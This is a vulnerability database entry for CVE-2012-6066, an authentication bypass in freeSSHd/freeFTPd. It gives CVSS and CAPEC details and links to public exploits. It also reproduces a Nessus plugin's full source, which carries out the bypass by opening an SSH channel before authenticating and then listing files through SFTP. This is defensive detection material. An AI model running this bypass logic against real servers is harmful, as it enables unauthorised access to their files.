Vulnerabilities > CVE-2012-6066 - Improper Authentication vulnerability in Freesshd 1.2.1/1.2.2/1.2.6

047910
CVSS 9.3 - CRITICAL
Attack vector
NETWORK
Attack complexity
MEDIUM
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
freesshd
CWE-287
critical
nessus
exploit available
metasploit

Summary

freeSSHd.exe in freeSSHd through 1.2.6 allows remote attackers to bypass authentication via a crafted session, as demonstrated by an OpenSSH client with modified versions of ssh.c and sshconnect2.c.

Vulnerable Configurations

Part Description Count
Application
Freesshd
3

Common Weakness Enumeration (CWE)

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Authentication Abuse
    An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker. This attack may exploit assumptions made by the target's authentication procedures, such as assumptions regarding trust relationships or assumptions regarding the generation of secret values. This attack differs from Authentication Bypass attacks in that Authentication Abuse allows the attacker to be certified as a valid user through illegitimate means, while Authentication Bypass allows the user to access protected material without ever being certified as an authenticated user. This attack does not rely on prior sessions established by successfully authenticating users, as relied upon for the "Exploitation of Session Variables, Resource IDs and other Trusted Credentials" attack patterns.
  • Exploiting Trust in Client (aka Make the Client Invisible)
    An attack of this type exploits a programs' vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by placing themselves in the communication channel between client and server such that communication directly to the server is possible where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.
  • Utilizing REST's Trust in the System Resource to Register Man in the Middle
    This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to place man in the middle once SSL is terminated. Rest applications premise is that they leverage existing infrastructure to deliver web services functionality. An example of this is a Rest application that uses HTTP Get methods and receives a HTTP response with an XML document. These Rest style web services are deployed on existing infrastructure such as Apache and IIS web servers with no SOAP stack required. Unfortunately from a security standpoint, there frequently is no interoperable identity security mechanism deployed, so Rest developers often fall back to SSL to deliver security. In large data centers, SSL is typically terminated at the edge of the network - at the firewall, load balancer, or router. Once the SSL is terminated the HTTP request is in the clear (unless developers have hashed or encrypted the values, but this is rare). The attacker can utilize a sniffer such as Wireshark to snapshot the credentials, such as username and password that are passed in the clear once SSL is terminated. Once the attacker gathers these credentials, they can submit requests to the web service provider just as authorized user do. There is not typically an authentication on the client side, beyond what is passed in the request itself so once this is compromised, then this is generally sufficient to compromise the service's authentication scheme.
  • Man in the Middle Attack
    This type of attack targets the communication between two components (typically client and server). The attacker places himself in the communication channel between the two components. Whenever one component attempts to communicate with the other (data flow, authentication challenges, etc.), the data first goes to the attacker, who has the opportunity to observe or alter it, and it is then passed on to the other component as if it was never intercepted. This interposition is transparent leaving the two compromised components unaware of the potential corruption or leakage of their communications. The potential for Man-in-the-Middle attacks yields an implicit lack of trust in communication or identify between two components.

Exploit-Db

  • descriptionFreeSSHD 2.1.3 - Remote Authentication Bypass Exploit (0day). CVE-2012-6066. Remote exploit for windows platform
    idEDB-ID:23080
    last seen2016-02-02
    modified2012-12-02
    published2012-12-02
    reporterkingcope
    sourcehttps://www.exploit-db.com/download/23080/
    titleFreeSSHD 2.1.3 - Remote Authentication Bypass Exploit 0day
  • descriptionFreesshd Authentication Bypass. CVE-2012-6066. Remote exploit for windows platform
    idEDB-ID:24133
    last seen2016-02-02
    modified2013-01-15
    published2013-01-15
    reportermetasploit
    sourcehttps://www.exploit-db.com/download/24133/
    titleFreesshd Authentication Bypass
  • descriptionFreeFTPD - Remote Authentication Bypass Exploit (0day). CVE-2012-6066. Remote exploit for windows platform
    idEDB-ID:23079
    last seen2016-02-02
    modified2012-12-02
    published2012-12-02
    reporterkingcope
    sourcehttps://www.exploit-db.com/download/23079/
    titleFreeFTPD - Remote Authentication Bypass Exploit 0day

Metasploit

descriptionThis module exploits a vulnerability found in FreeSSHd <= 1.2.6 to bypass authentication. You just need the username (which defaults to root). The exploit has been tested with both password and public key authentication.
idMSF:EXPLOIT/WINDOWS/SSH/FREESSHD_AUTHBYPASS
last seen2020-05-26
modified2018-11-17
published2013-01-13
references
reporterRapid7
sourcehttps://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/ssh/freesshd_authbypass.rb
titleFreesshd Authentication Bypass

Nessus

NASL familyGain a shell remotely
NASL idFREEFTPD_SFTP_AUTH_BYPASS.NASL
descriptionThe SFTP server included with freeFTPd or freeSSHd has an authentication bypass vulnerability. Authentication can be bypassed by opening an SSH channel before any credentials are provided. A remote, unauthenticated attacker could exploit this to login without providing credentials. After logging in, uploading specially crafted files could result in arbitrary code execution as SYSTEM. Refer to the researcher
last seen2020-06-01
modified2020-06-02
plugin id63223
published2012-12-11
reporterThis script is Copyright (C) 2012-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/63223
titlefreeFTPd / freeSSHd SFTP Authentication Bypass
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(63223);
  script_version("1.17");
  script_set_attribute(attribute:"plugin_modification_date", value:"2020/06/12");

  script_cve_id("CVE-2012-6066", "CVE-2012-6067");
  script_bugtraq_id(56782, 56785);
  script_xref(name:"EDB-ID", value:"23079");
  script_xref(name:"EDB-ID", value:"23080");
  script_xref(name:"EDB-ID", value:"24133");

  script_name(english:"freeFTPd / freeSSHd SFTP Authentication Bypass");
  script_summary(english:"Tries to bypass auth and get a dir listing");

  script_set_attribute(attribute:"synopsis", value:
"The SFTP server running on the remote host has an authentication bypass
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The SFTP server included with freeFTPd or freeSSHd has an
authentication bypass vulnerability.  Authentication can be bypassed by
opening an SSH channel before any credentials are provided.  A remote,
unauthenticated attacker could exploit this to login without providing
credentials. 

After logging in, uploading specially crafted files could result in
arbitrary code execution as SYSTEM.  Refer to the researcher's advisory
for more information.");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2010/Aug/132");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/10");
  script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2012/Dec/11");
  script_set_attribute(attribute:"solution", value:
"There is no known solution at this time.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2012-6067");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Freesshd Authentication Bypass');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2010/08/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/12/11");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:freeftpd:freeftpd");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:freesshd:freesshd");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"Gain a shell remotely");

  script_copyright(english:"This script is Copyright (C) 2012-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ssh_detect.nasl");
  script_exclude_keys("global_settings/supplied_logins_only");
  script_require_ports("Services/ssh", 22);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("ssh_func.inc");
include("ssh_fxp_func.inc");

checking_default_account_dont_report = TRUE;

enable_ssh_wrappers();

if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);

port = get_service(svc:'ssh', default:22, exit_on_fail:TRUE);

# Make sure the SSH service looks like freeFTPd or freeSSHd
if (report_paranoia < 2 && banner = get_kb_item("SSH/banner/" + port))
{
  #    freeFTPd 1.0.11                  freeSSHd 1.2.6
  if ('WeOnlyDo-wodFTPD' >!< banner && '-WeOnlyDo ' >!< banner) audit(AUDIT_NOT_LISTEN, 'freeFTPd/freeSSHd SFTP Server', port);
}

dir = '/'; # dir to get a listing of after bypassing authentication
MAX_DISPLAYED_FILES = 10;
users = make_list(
  'administrator',
  'admin',
  'root'
);
want_reply = (report_paranoia == 0);


foreach user (users)
{
  _ssh_socket = open_sock_tcp(port);
  if (!_ssh_socket) audit(AUDIT_SOCK_FAIL, port);

  # initialization
  init();
  server_version = ssh_exchange_identification();
  if (!server_version)
  {
    ssh_close_connection();
    exit(1, get_ssh_error());
  }

  _ssh_server_version = server_version;

  # key exchange
  ret = ssh_kex2(server_version:server_version, nofingerprint:TRUE);
  if (ret != 0)
  {
    ssh_close_connection();
    exit(1, get_ssh_error());
  }

  if (!ssh_req_svc("ssh-userauth"))
  {
    ssh_close_connection();
    exit(0, "The SSH service listening on port "+port+" does not support 'ssh-userauth'.");
  }

  # We're only going to send the userauth request, not actually log in
  payload =
    putstring(buffer:user) +
    putstring(buffer:"ssh-connection") +
    putstring(buffer:"keyboard-interactive") +
    putstring(buffer:"en-US") +
    putstring(buffer:"");
  send_ssh_packet(code:SSH_MSG_USERAUTH_REQUEST, payload:payload);

  # Check the response for SSH_MSG_USERAUTH_INFO_REQUEST
  res = recv_ssh_packet();
  code = ord(res[0]);
  if(code != SSH_MSG_USERAUTH_INFO_REQUEST)
  {
    ssh_close_connection();
    audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);
  }

  # we'll only be able to open a channel w/o auth against vulnerable servers
  ret = ssh_open_channel();
  if (ret != 0)
  {
    ssh_close_connection();
    audit(AUDIT_LISTEN_NOT_VULN, 'SSH', port);
  }

  # Check if the subsystem is supported.
  ret = ssh_request_subsystem(subsystem:"sftp", want_reply:want_reply);
  if (!ret)
  {
    ssh_close_connection();
    exit(0, "The SSH service listening on port "+port+" does not support SFTP.");
  }

  # Initialize the connection.
  fxp_protocol_version = 3;

  ssh_fxp_send_packet(type:SSH_FXP_INIT, data:raw_int32(fxp_protocol_version));
  # nb: if the username is not defined in freeSSHd, there will be a
  #     so we don't want to exit.
  res = ssh_fxp_recv_packet(exit_on_fail:FALSE);
  if (isnull(res))
  {
    ssh_close_connection();
    continue;
  }
  if (res['type'] != SSH_FXP_VERSION)
  {
    ssh_close_connection();
    exit(0, "The SSH server listening on port "+port+" responded with a packet type that was " + ord(res['type']) + ", not SSH_FXP_VERSION (" + SSH_FXP_VERSION + ")");
  }

  val = ntol(buffer:res['data'], begin:0);
  if (val != fxp_protocol_version)
  {
    ssh_close_connection();
    exit(0, "The SSH server listening on port "+port+" does not support version " + _ssh_fxp_protocol_version + " of the SFTP protocol; it supports " + val + ".");
  }

  if (report_verbosity > 0)
  {
    report = '\n' + 'Nessus was able to bypass authentication and gain access to the' +
             '\n' + 'following account :' +
                 '\n' +
                 '\n' + '  ' + user;

    listing = ssh_fxp_get_listing(dir:dir, max_files:MAX_DISPLAYED_FILES);
    if (!isnull(listing))
    {
      report += '\n' +
                '\n' + 'And it was able to collect the following listing of \'' + dir + '\' :' +
                '\n';
      foreach file (sort(keys(listing['files'])))
      {
        report += '\n' + '  ' + listing['files'][file];
      }
      if (listing['truncated'])
      {
        report += '\n' +
                  '\n' + 'Note that this listing is incomplete and limited to ' + MAX_DISPLAYED_FILES + ' entries.';
      }
      security_hole(port:port, extra:report);
    }
    else security_hole(port);

    ssh_fxp_close_connection();
    exit(0);
  }
}
ssh_close_connection();
audit(AUDIT_LISTEN_NOT_VULN, "freeFTPd / freeSSHd", port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/119546/freesshd_authbypass.rb.txt
idPACKETSTORM:119546
last seen2016-12-05
published2013-01-15
reportermetasploit.com
sourcehttps://packetstormsecurity.com/files/119546/FreeSSHd-1.2.6-Authentication-Bypass.html
titleFreeSSHd 1.2.6 Authentication Bypass

Seebug

bulletinFamilyexploit
descriptionBUGTRAQ ID: 56785 CVE(CAN) ID: CVE-2012-6066 freeSSHd是开源的SSH和SFTP服务器。 freeFTPd和其内置SFTP服务器存在身份验证绕过漏洞,在提供证书之前,打开SSH通道可绕过身份验证。未经身份验证的远程攻击者可利用此漏洞登录,而不提供任何证书,登录后,上传特制的文件可以系统权限执行任意代码。 0 freeSSHd 1.2.6 厂商补丁: freeSSHd -------- 目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: http://freesshd.com/
idSSV:60544
last seen2017-11-19
modified2012-12-26
published2012-12-26
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-60544
titleFreeSSHd freeSSHd.exe 远程身份验证绕过漏洞